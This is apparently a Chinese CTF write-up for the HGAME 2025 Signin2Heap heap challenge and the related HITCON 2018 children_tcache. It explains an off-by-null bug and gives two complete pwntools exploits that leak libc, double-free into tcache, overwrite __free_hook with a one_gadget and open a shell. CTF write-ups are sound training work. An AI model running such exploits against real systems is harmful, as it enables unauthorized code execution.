[HGAME 2025] week2 Signin2Heap(feat. children_tcache)

[未解决] 两道题同为 2.27 版本的 libc,为何 signin2heap 的 tcache 检查了 double free,而 HITCON_2018_children_tcache 没有检查?问题出在哪里?

Signin2Heap

题目附件:Signin2Heap libc 版本:2.27

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int buf; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4uLL);
      if ( buf != 2 )
        break;
      delete();
    }
    if ( buf > 2 )
    {
      if ( buf == 3 )
      {
        show();
      }
      else
      {
        if ( buf == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( buf != 1 )
        goto LABEL_13;
      add();
    }
  }
}
int menu()
{
  puts("1.Add book");
  puts("2.Show book");
  puts("3.Delete book");
  puts("4.Exit");
  return printf("Your choice:");
}

这里有些奇特的地方,一是 ./vuln 运行后直接输入数字都会返回 ”Invalid choice“ ,逐句调试后发现需要发送 4 字节的 ”实际数字“(例如 p32(1) ),而不能是手动输入的 ”字符串数字“ (例如 b'1' );二是根据代码我们发现 1 进入 add() , 2 进入 delete() , 3 进入 show() , 4 退出,2、3 与 menu() 输出的不符。

unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
  unsigned int size; // [rsp+10h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&books + v2) )
  {
    puts("The note already exists.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &size);
      if ( size <= 0xFF )
        break;
      puts("Too big!");
    }
    v0 = v2;
    *((_QWORD *)&books + v0) = malloc(size);
    printf("Content: ");
    size_4 = read(0, *((void **)&books + v2), size);
    *(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;
  }
  return __readfsqword(0x28u) ^ v5;
}

最多 16 个堆块,每个堆块的大小不超过 0xFF.

books 是一个 .bss 段上的变量,用于记录分配的堆块的位置。

*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;

这句话在我们写入内容的末位添加 0,如果我们输入的内容跟 size 一样大的话,这个 0 实际上已经超出我们分配的内存范围了。这就是典型的 off-by-null 漏洞,可以看作是 off-by-one 漏洞的严格版,因为溢出的一个字节只能是 ‘\x00’.

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&books + v1) )
  {
    free(*((void **)&books + v1));
    *((_QWORD *)&books + v1) = 0LL;
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}

普普通通的 free 操作,而且指针置零了,不存在 UAF 漏洞。

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&books + v1) )
  {
    puts(*((const char **)&books + v1));
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}

普普通通的 show 堆块中的内容。

首先思考应该如何泄露堆块、libc 的基地址。

常规手法,把堆块扔进 unsorted bin 里面涮一下拎出来就会有 libc 地址的残留:

add(0, 0xf8, b'A'*0xf0)
pause()
add(1, 0xf8, b'B'*0xf0)
for i in range(7):
    add(2 + i, 0xf8, b'C')
for i in range(7):
    delete(2 + i)
delete(0)
delete(1)
for i in range(7):
    add(2 + i, 0xf8, b'C')
add(0, 0xf8, b'A')
show(0)

但是这种做法在这里并不可行。首先,因为它 show 堆块内容的时候用的 puts,而 puts 遇到 ‘\x00’ 就会停止输出,所以根本没法泄露残留地址。其次,这个程序的 add 功能强制在 malloc 的同时输入内容,并且在末位加上 ‘\x00’,导致残留地址两个字节被覆盖,这样就导致 1 位 16 进制信息丢失(2 Bytes 对应 4 位 16 进制数,而地址的最后 3 位 16 进制数是固定的),就算能泄露也是只有 1/16 的概率获得正确地址信息,不到万不得已不推荐用这个“瞎蒙”法。

可以预见,在泄露这一步上已经需要用到 off-by-null 的漏洞了。通过消除 PREV_INUSE 位、篡改 PREV_SIZE 位把堆块分配到已经存在残留地址的地方,借此泄露地址信息。具体做法跟下面这道 HITCON_2018_children_tcache 几乎完全一样,不再赘述。

from pwn import *

# io = process('./vuln')
io = remote("node1.hgame.vidar.club", 30723)
elf = ELF('./vuln')
libc = ELF('./libc-2.27.so')

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io, "b *$rebase(0xc7b)")
# gdb.attach(io)

def cmd(command):
    io.sendafter('Your choice:', p32(command))

def add(index, size, content):
    cmd(1)
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(size))
    io.sendafter('Content: ', content)

def delete(index):
    cmd(2)
    io.sendlineafter('Index: ', str(index))

def show(index):
    cmd(3)
    io.sendlineafter('Index: ', str(index))

# 不可行方法
# add(0, 0xf8, b'A'*0xf0)
# pause()
# add(1, 0xf8, b'B'*0xf0)
# for i in range(7):
#     add(2 + i, 0xf8, b'C')
# for i in range(7):
#     delete(2 + i)
# delete(0)
# delete(1)
# for i in range(7):
#     add(2 + i, 0xf8, b'C')
# add(0, 0xf8, b'A')
# show(0)


add(0, 0xf8, b'A') # 0x100
add(1, 0x68, b'A') # 0x70

# 填满 tcache. 目的是为了让 0x100 大小的堆块进入 unsorted bin,如果题目可以申请较大的堆块,可以直接申请大堆块进 unsorted bin
for i in range(2, 10): # 2-9 共 8 个 chunk
    add(i, 0xf8, b'A')
add(12, 0x68, b'A')    # 防止合并到 top chunk
for i in range(3, 10): # 3-9 共 7 个 chunk
    delete(i)

delete(0)
delete(1)
add(1, 0x68, b'a' * 0x60 + p64(0x170))         # 篡改到 chunk 2
delete(2)                                      # 检测到 PREV_INUSE 为 0,向前合并. 此时最上面的 chunk 有 0x270 大小
add(0, 0x78, b'a')                             # 从 0x270 上面割出 0x80
add(2, 0x78, b'a')                             # 再从 0x270 上面割出 0x80

show(1)                                        # 此时 chunk 1 的位置属于被释放的空间 (0x270 的空闲空间被分配 0x100 后剩下的空间的起始位置与原本的 chunk1 重合),但 book 里仍然记录着 chunk 1 的位置,所以可以泄露地址
leak_libc = u64(io.recv(6).ljust(8, b'\x00'))
print("leak_libc:", hex(leak_libc))
libc.address = leak_libc - 0x3ebca0
print("libc_base:", hex(libc.address))
free_hook = libc.sym['__free_hook']
print("free_hook:", hex(free_hook))

add(3, 0x68, b'A')           # 此时 chunk 3 的位置与 chunk 1 重合
# 填充 tcache
for i in range(4, 12):
    add(i, 0x68, b'A')
for i in range(4, 11):
    delete(i)

delete(1)
delete(11)
delete(3)                    # double free. ··· -> chunk 1/3 -> chunk 11 -> chunk 1/3 -> ···
# 申请完 tcache
for i in range(4, 11):
    add(i, 0x68, b'A')
# pause()
add(1, 0x68, p64(free_hook))  # 申请出 chunk 1
add(11, 0x68, b'A')           # 申请出 chunk 11

one_gadget_list = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]

add(13, 0x68, b'A')           # 申请出 chunk 13
add(14, 0x68, p64(libc.address + one_gadget_list[2])) # 申请出 chunk 14, 此时已经在写 free_hook
delete(13)                    # 触发 free_hook

io.interactive()

相似题:HITCON_2018_children_tcache

题目附件:HITCON_2018_children_tcache libc 版本:2.27

from pwn import *

p = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# gdb.attach(p)

def new(size,content):
    p.recvuntil(b'Your choice: ')
    p.sendline(b'1')
    p.recvuntil(b'Size:')
    p.sendline(str(size))
    p.recvuntil(b'Data:')
    p.sendline(content)

def delete(index):
    p.recvuntil(b'Your choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Index:')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Your choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index))

new(0x4f0, b'a')  # chunk 0
new(0x48, b'a')   # chunk 1, spy/overflow chunk
new(0x4f0, b'a')  # chunk 2
new(0x10, b'a')   # chunk 3, avoid consolidate with top chunk

delete(0)
delete(1)
new(0x48, b'a'*0x48)  # chunk 0(original chunk 1/spy chunk), off by null
delete(0)

# 由于该题在 free 的时候会填充垃圾数据,所以需要通过逐个清零实现 PREV_SIZE 位被我们控制
for i in range(8):
    new((0x47 - i), b'f'*(0x47 - i))
    delete(0)
# 前面两个 chunk 分别是 0x500 和 0x50 大小,将第三个 chunk 的 PREV_SIZE 改为 0x550, free 后触发合并,使得再次申请时恰好在原来第一个 chunk 处
new(0x48, flat(
    b'g'*0x40,
    0x550
))               # 新的 chunk 0, 但是在后面的 delete(2) 后被一块合并掉了,然而 book 中仍然存在这个 chunk 的指针
delete(2)        # 此时前面 3 个 chunk 合并成一个大 chunk , 0x500 + 0x550 = 0xa50
new(0x4f0, b'aaaa') # 新的 chunk 1, 从上述大 chunk 里面割 0x500,剩下的刚好在原来 spy chunk 的位置,从而完成地址的泄露
show(0)          # spy chunk 仍然被程序认为是存在的 chunk,然而事实上已经被 free 掉了,所以可以泄露地址

leak_libc = u64(p.recv(6).ljust(8, b'\x00'))
# print("leak_stack:", hex(leak_libc))
libc.address = leak_libc - 0x3ebca0
print("libc_base:", hex(libc.address))

free_hook = libc.sym['__free_hook']
print("free_hook:", hex(free_hook))

one_gadget_list = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc.address + one_gadget_list[2]

new(0x50, b'a') # chunk 2, 但物理位置和 chunk 0 重叠
delete(0)
delete(2)       # double free. ··· -> chunk 0/2 -> chunk 0/2 -> chunk 0/2 -> ···

new(0x50, p64(free_hook)) # 申请出 chunk 0
new(0x50, b'aaaa')        # 申请出 chunk 2
new(0x50, p64(one_gadget))# 申请出 chunk 3, 地址飞到了 __free_hook 处, 并且填充 one_gadget
delete(1)                 # 触发 free_hook

p.interactive()
上一篇
下一篇